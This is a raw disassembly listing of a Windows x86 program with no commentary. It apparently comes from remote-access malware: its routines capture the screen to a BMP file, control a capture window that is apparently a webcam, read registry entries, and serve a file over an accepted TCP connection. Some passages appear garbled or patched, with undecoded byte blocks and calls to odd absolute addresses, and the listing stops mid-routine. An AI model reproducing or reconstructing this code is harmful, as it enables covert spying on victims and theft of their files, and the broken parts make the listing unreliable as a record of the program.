var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB610
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CB62C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB62C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB62C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CB62C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CB670
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB668
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CB4F4
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB66C
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB548
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 28B0703h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 28A0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 28A0000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 28A0000h
		nop


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 28A0000h
		nop
		push	[ebp+arg_0]
		call	near ptr 28005AFh
		nop
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CB580
		push	[ebp+var_4]
		call	dword_4CB4E0
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CB4E0
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CB4E0
		push	[ebp+var_4]
		call	dword_4CB4E0


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3250
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB574
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB680
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB680


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5C4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB680


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB680


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB680


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB6D4
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3250
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB574
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB680
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB680


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB680
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB680


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB680


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB680


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB680


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB680


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB680


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB680


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB680


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB6D4
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368B4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4368B4
		mov	esi, offset dword_4368C0
		mov	edi, offset dword_437AB8


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB694
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB524
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429A8C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_437AB4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AB4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CB600
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB624
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB664
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB6A8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5CC
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB6BC


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 437B3468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 246AC91h, 43D7D868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 437B0468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0BC15FF53h, 0FF004CB6h, 0C3E8F075h
		dd 59FFFF56h, 26E89056h, 6A0246ACh, 7E89064h, 330240A8h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 3C15FF53h,	85004CB6h
		dd 8D387EC0h, 0FFEE4C85h, 0A06868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0AFE89064h, 6A0240A7h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 7AD068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B6BC15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 46AB64E8h
		db 2, 90h
; ---------------------------------------------------------------------------


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437C34
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB624
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB650
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437C10
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5C8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB554
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CB64C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437B34
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 28B0703h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437BF0
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 28E0A73h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB664
		push	eax
		call	dword_4CB620
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437BD8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB60C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BC0
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_437B9C


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB6BC
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


